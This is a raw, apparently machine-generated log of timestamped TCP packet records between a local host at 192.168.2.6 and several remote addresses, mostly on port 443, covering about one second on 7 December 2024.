Dec 7, 2024 00:15:44.430192947 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.430222988 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.430270910 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.430274963 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.430325031 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.570637941 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.570735931 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.570837975 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.572890997 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.572902918 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.572912931 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.572916985 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.599483967 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.599503994 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.599596977 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.599611998 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.599656105 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.603626966 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.603657007 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.603713036 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.603720903 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.603760004 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.603817940 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.605868101 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.605923891 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.606031895 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.610059023 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.610086918 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.610136986 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.610151052 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.610174894 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.610203028 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.612575054 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.612601995 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.612665892 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.612673044 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.612718105 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.614187002 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.614195108 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.614206076 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.614212036 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.615776062 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.615797043 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.616056919 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.622360945 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.622370958 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.627465963 CET	49827	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.627491951 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.627763033 CET	49827	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.627896070 CET	49827	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.627903938 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.635937929 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.635951996 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.636080980 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.636519909 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.636529922 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.652679920 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.652705908 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.652769089 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.652786970 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.652834892 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.654723883 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.654746056 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.654829979 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.654836893 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.654875040 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.656181097 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.656214952 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.656256914 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.656272888 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.656303883 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.656327009 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.658766031 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.658792973 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.658843994 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.658853054 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.658900023 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.663762093 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.663784027 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.663798094 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.663841963 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.663866043 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.663878918 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.663925886 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.664156914 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.664206982 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.664308071 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.665477991 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.665477991 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.665493011 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.665503979 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.673733950 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.673751116 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.674016953 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.674309015 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.674319983 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.687932968 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.687994957 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.688014984 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.688057899 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.706605911 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.706619978 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.771576881 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.771600962 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.771667004 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.771688938 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.771733046 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.773996115 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.774015903 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.774118900 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.774128914 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.774239063 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.777815104 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.777842045 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.777889013 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.777911901 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.777925968 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.778048992 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.781652927 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.781687975 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.781765938 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.781773090 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.781816959 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.781822920 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.802767038 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.802814007 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.802845001 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.802853107 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.802897930 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.802926064 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.802952051 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.802993059 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.803014994 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.803028107 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.803236008 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.809031963 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.809048891 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.809107065 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.809119940 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.809163094 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.809182882 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.821831942 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.821856022 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.821947098 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.821953058 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.821995020 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.826488018 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.826514006 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.826565981 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.826577902 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.826617956 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.826632023 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.829854012 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.829879999 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.829927921 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.829935074 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.829984903 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.835141897 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.835160971 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.835235119 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.835242033 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.835302114 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.845170975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:44.845247984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:44.846191883 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.846218109 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.846266031 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.846272945 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.846316099 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.847995043 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.848014116 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.848077059 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.848100901 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.848187923 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.850578070 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.850609064 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.850651026 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.850656986 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.850708008 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.856271982 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.856292009 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.856362104 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.856369019 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.856498957 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.865070105 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.865097046 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.865148067 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.865154028 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.865217924 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.875272036 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.876421928 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.876431942 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.876950026 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.876955032 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.954329967 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.954396963 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.954428911 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.954446077 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.954480886 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.954504967 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.965120077 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.965173006 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.965219975 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.965229988 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.965297937 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.965634108 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.965688944 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.965720892 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.965742111 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.965754986 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.965780020 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.966818094 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.966850996 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.966887951 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.966896057 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.966928005 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.966948986 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.973540068 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.973577023 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.973607063 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.973613024 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.973664999 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.973690987 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.981318951 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.981348991 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.981432915 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.981447935 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.981479883 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.981503963 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.984630108 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.984652996 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.984746933 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.984755039 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.984769106 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.984791040 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.986109972 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.986133099 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.986174107 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.986186981 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.986222982 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.986237049 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.989825010 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.989862919 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.989897966 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.989902973 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.989953041 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.993769884 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.993788958 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.993858099 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.993865967 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.993900061 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.995346069 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.995367050 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.995429039 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.995444059 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.995471001 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.995492935 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.001636028 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.001658916 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.001713037 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.001724958 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.001761913 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.001787901 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.003338099 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.003356934 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.003423929 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.003429890 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.003463030 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.003480911 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.007639885 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.007667065 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.007733107 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.007745028 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.007775068 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.007797003 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.008810997 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.008836985 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.008872032 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.008879900 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.008922100 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.015491962 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.015511990 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.015588045 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.015594006 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.015636921 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.016963959 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.016990900 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.017052889 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.017066956 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.017102003 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.022784948 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.022830009 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.022871971 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.022883892 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.022929907 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.022943974 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.022950888 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.022969961 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.023006916 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.023014069 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.023039103 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.023056984 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.025275946 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.025300026 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.025353909 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.025358915 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.025414944 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.029814959 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.029834986 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.029874086 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.029886961 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.029912949 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.029932022 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.035123110 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.035151958 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.035191059 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.035202980 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.035238028 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.035259008 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.036468983 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.036493063 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.036575079 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.036598921 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.036681890 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.043854952 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.043879032 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.043919086 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.043934107 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.043952942 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.043966055 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.049468040 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.049489975 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.049529076 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.049545050 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.049563885 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.049576998 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.051063061 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.051083088 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.051121950 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.051129103 CET	443	49819	150.171.27.10	192.168.2.6
